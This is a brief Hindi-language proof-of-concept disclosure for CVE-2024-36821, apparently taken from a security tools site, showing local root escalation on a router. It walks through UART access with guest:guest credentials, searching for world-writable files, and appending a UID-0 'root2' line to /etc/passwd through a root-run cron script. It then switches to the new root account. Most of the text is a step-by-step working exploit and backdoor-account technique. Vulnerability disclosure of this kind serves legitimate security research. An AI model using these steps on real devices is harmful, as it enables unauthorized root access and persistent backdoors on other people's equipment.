CVE-2024-36821

CVE-2024-36821 द्वारा कवर की गई कमजोरी के लिए आवश्यक न्यूनतम जानकारी वाला सार्वजनिक संदर्भ

PoC के साथ मूल वीडियो आप वीडियो पर पा सकते हैं -> https://www.youtube.com/watch?v=6vHno0ik7JY

PoC:

1. UART कनेक्शन के माध्यम से राउटर से कनेक्ट करें

2. guest:guest क्रेडेंशियल का उपयोग करके, सिस्टम में लॉग इन करें

3. find / -perm -777 -type f 2>/dev/null कमांड का उपयोग करके, read-write-execute अनुमतियों वाली फ़ाइलें खोजें:

   root@kitploit:~

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh कमांड द्वारा स्वामी की जाँच करें

5. openssl passwd Abracadabra कमांड द्वारा पासवर्ड जनरेट करें

6. /tmp/cron/cron.everyminute/conntrack_collector.sh को संपादित करें, अंत में नया जनरेट किया गया पासवर्ड जोड़ें:

   root@kitploit:~

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. एक मिनट प्रतीक्षा करें

8. निम्नलिखित कमांड द्वारा root2 उपयोगकर्ता में स्विच करें

   root@kitploit:~

   / $ su root2
   Password: Abracadabra
   ~ #